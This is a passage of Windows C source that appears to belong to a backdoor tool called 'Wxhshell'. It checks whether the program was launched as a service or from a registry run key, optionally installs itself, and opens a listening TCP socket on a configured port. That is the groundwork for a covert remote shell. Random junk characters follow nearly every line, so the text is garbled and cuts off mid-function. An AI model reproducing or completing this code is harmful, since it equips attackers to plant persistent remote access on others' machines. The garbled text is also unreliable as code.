DWORD AffinityMask; &H/'rd0M
DWORD BasePriority; D (?DW}Rqs
ULONG UniqueProcessId; T&u5ki4NE
ULONG InheritedFromUniqueProcessId; z !rL
s76
} PROCESS_BASIC_INFORMATION; qm8B8&-
Cl8Cg~2
PROCNTQSIP NtQueryInformationProcess; fN^8{w/O
\B,@`dw
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iE^84l68
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;
>rKIG~P_
c?[I?ytl
HANDLE hProcess; MH9q ;?.J
PROCESS_BASIC_INFORMATION pbi; ;LSANr&
MPg)=LI
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); c>:wd@w
if(NULL == hInst ) return 0; ywm8N%]v
Hp!-248 S
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k],Q9
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rgtT~$S
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =BAW[%1b
ryUQU^v
if (!NtQueryInformationProcess) return 0; ,,Q O^j]4~
3/e.38m|
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7XLtN "$$
if(!hProcess) return 0; [H^z-6x:0
9oR@UW1
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;1O_M9
tKx~1-
CloseHandle(hProcess); jrr*!^4|
Mhf5bN|wQ
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &n}f?
if(hProcess==NULL) return 0; qCpp6~]Um
}1i`6`y1
HMODULE hMod; gANuBWh8T
char procName[255]; &zeyE;/Hj
unsigned long cbNeeded; ][h%UrV
]]9R mh=
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $f=J2&D,Cz
j8{i#;s!"
CloseHandle(hProcess); rt~d6|6
Tc &z:
if(strstr(procName,"services")) return 1; // 以服务启动 (U_ujPD ?
.A{tQ1&_
return 0; // 注册表启动 QIvVcfM^
} ^"1n4im
JZ*/,|1}EC
// 主模块 ju8q?Nyhs
int StartWxhshell(LPSTR lpCmdLine) bj0G5dc=
{ A _
N;
SOCKET wsl; ZC`wO%,
BOOL val=TRUE; %wvdn
int port=0; a /l)qB#
struct sockaddr_in door; 0s3%Kqi[
g:D>.lKd
if(wscfg.ws_autoins) Install(); |[ k.ii6iO
R0]1xGz
port=atoi(lpCmdLine); (\hx` Yh=>
7#ibN!
if(port<=0) port=wscfg.ws_port; q#ClnG*
%D}kD6=
WSADATA data; aweV#j(y
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {V$|3m>:*
xPk8$1meZM
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; }c`"_L
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #Z`q+@@]A
door.sin_family = AF_INET; AFDq}*2Qb
door.sin_addr.s_addr = inet_addr("127.0.0.1"); i6tf2oqO7
door.sin_port = htons(port); o_Z5@F
K&Z